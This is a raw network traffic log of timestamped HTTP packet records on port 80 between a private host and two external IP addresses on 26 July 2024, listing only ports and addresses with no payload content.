Jul 26, 2024 08:57:55.913645029 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:55.913649082 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:55.913661003 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:55.913671970 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:55.913688898 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:55.913698912 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:55.913711071 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:55.913722992 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:55.913733006 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:55.913743019 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:55.913815022 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:55.913826942 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:55.913836956 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:55.913846970 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:55.913856983 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:55.913866997 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:55.913880110 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:55.913889885 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:55.913894892 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:55.913906097 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:55.914378881 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:55.914406061 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:55.914416075 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:55.914426088 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:55.914436102 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:55.914446115 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:55.914457083 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:55.914467096 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:55.914477110 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:55.914486885 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:55.914496899 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:55.914506912 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:55.914516926 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:55.914531946 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:55.914541960 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:55.914551973 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:55.914561987 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:55.914572001 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:55.914581060 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:55.914592028 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:55.914917946 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:55.914928913 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:55.914937973 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:55.914947987 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:55.914958000 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:55.914968014 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:55.914978027 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:55.915054083 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:55.915065050 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:55.915074110 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:55.915085077 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:55.915096045 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:55.915163040 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:55.915179968 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:55.915190935 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:55.915200949 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:55.915210962 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:55.915221930 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:55.915231943 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:55.916676998 CEST	49756	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:55.921524048 CEST	49756	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:55.926491022 CEST	49756	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:55.926528931 CEST	49756	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:55.927536964 CEST	49756	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:55.928036928 CEST	49756	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:55.928064108 CEST	49756	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:55.928559065 CEST	49756	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:55.928694010 CEST	49756	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:55.928744078 CEST	49756	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:55.998333931 CEST	80	49763	185.215.113.19	192.168.2.7
Jul 26, 2024 08:57:55.998392105 CEST	49763	80	192.168.2.7	185.215.113.19
Jul 26, 2024 08:57:56.002491951 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.002528906 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.002540112 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.002540112 CEST	49756	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:56.002572060 CEST	49756	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:56.002624989 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.002635956 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.002645969 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.002660036 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.002665997 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.002705097 CEST	49756	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:56.002753019 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.002765894 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.002788067 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.002794027 CEST	49756	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:56.002798080 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.002809048 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.002973080 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.002984047 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.002993107 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.003001928 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.003012896 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.003024101 CEST	49756	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:56.003062963 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.003073931 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.003082991 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.003093004 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.003103018 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.003113031 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.003266096 CEST	49756	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:56.003437996 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.003448009 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.003457069 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.003468037 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.003477097 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.003484011 CEST	49756	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:56.003488064 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.003499985 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.003506899 CEST	49756	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:56.003509998 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.003521919 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.003526926 CEST	49756	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:56.003532887 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.003546953 CEST	49756	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:56.003571987 CEST	49756	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:56.003756046 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.003771067 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.003781080 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.003791094 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.003793955 CEST	49756	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:56.003802061 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.003812075 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.003820896 CEST	49756	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:56.003820896 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.003832102 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.003842115 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.003849983 CEST	49756	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:56.003853083 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.003875971 CEST	49756	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:56.003892899 CEST	49756	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:56.004045963 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.004062891 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.004072905 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.004084110 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.004090071 CEST	49756	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:56.004118919 CEST	49756	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:56.004251003 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.004287004 CEST	49756	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:56.004297018 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.004307985 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.004334927 CEST	49756	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:56.004451990 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.004462004 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.004472017 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.004491091 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.004496098 CEST	49756	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:56.004503012 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.004508972 CEST	49756	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:56.004533052 CEST	49756	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:56.004585981 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.004595995 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.004605055 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.004615068 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.004623890 CEST	49756	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:56.004623890 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.004636049 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.004646063 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.004647017 CEST	49756	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:56.004656076 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.004662991 CEST	49756	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:56.004667044 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.004693031 CEST	49756	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:56.004704952 CEST	49756	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:56.004786968 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.004797935 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.004820108 CEST	49756	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:56.004837036 CEST	49756	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:56.005032063 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.005043030 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.005052090 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.005062103 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.005069971 CEST	49756	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:56.005072117 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.005083084 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.005093098 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.005098104 CEST	49756	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:56.005104065 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.005114079 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.005119085 CEST	49756	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:56.005125046 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.005131006 CEST	49756	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:56.005135059 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.005146980 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.005153894 CEST	49756	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:56.005156994 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.005168915 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.005173922 CEST	49756	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:56.005181074 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.005194902 CEST	49756	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:56.005215883 CEST	49756	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:56.005378962 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.005408049 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.005414963 CEST	49756	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:56.005418062 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.005429983 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.005434990 CEST	49756	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:56.005441904 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.005451918 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.005455971 CEST	49756	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:56.005462885 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.005472898 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.005481958 CEST	49756	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:56.005481958 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.005492926 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.005501986 CEST	49756	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:56.005503893 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.005515099 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.005522013 CEST	49756	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:56.005541086 CEST	49756	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:56.005692005 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.005703926 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.005712986 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.005723000 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.005733013 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.005742073 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.005822897 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.005834103 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.005904913 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.005916119 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.005923033 CEST	49756	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:56.005927086 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.005939960 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.005945921 CEST	49756	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:56.005949974 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.005961895 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.005965948 CEST	49756	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:56.005973101 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.005985975 CEST	49756	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:56.006011963 CEST	49756	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:56.093189001 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.093208075 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.093219042 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.093285084 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.093291044 CEST	49756	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:56.093297005 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.093307972 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.093337059 CEST	49756	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:56.093372107 CEST	49756	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:56.093404055 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.093558073 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.093569040 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.093580008 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.093590021 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.093600988 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.093624115 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.093694925 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.093705893 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.093717098 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.093739986 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.093753099 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.093763113 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.093774080 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.093872070 CEST	49756	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:56.093936920 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.093946934 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.093957901 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.093969107 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.093981981 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.094029903 CEST	49756	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:56.094043016 CEST	49756	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:56.094068050 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.094079018 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.094196081 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.094223976 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.094234943 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.094306946 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.094317913 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.094327927 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.094338894 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.094428062 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.094497919 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.094507933 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.094517946 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.094621897 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.094633102 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.094643116 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.094651937 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.094662905 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.094705105 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.094717979 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.094727993 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.094738007 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.094748974 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.094759941 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.094877958 CEST	49756	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:56.094978094 CEST	49756	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:56.094999075 CEST	49756	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:56.095144033 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.095303059 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.095313072 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.095324039 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.095334053 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.095345020 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.095354080 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.095365047 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.095374107 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.095385075 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.095393896 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.095405102 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.095860004 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.095870972 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.095880032 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.095890045 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.095900059 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.095916033 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.095926046 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.095936060 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.095946074 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.095954895 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.095956087 CEST	49756	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:56.095966101 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.095977068 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.095987082 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.095995903 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.096005917 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.096018076 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.096029997 CEST	49756	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:56.096045971 CEST	49756	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:56.096218109 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.096230030 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.096239090 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.096249104 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.096366882 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.096376896 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.096386909 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.096396923 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.096406937 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.096417904 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.096426964 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.096436977 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.096446991 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.096457005 CEST	80	49756	85.28.47.31	192.168.2.7
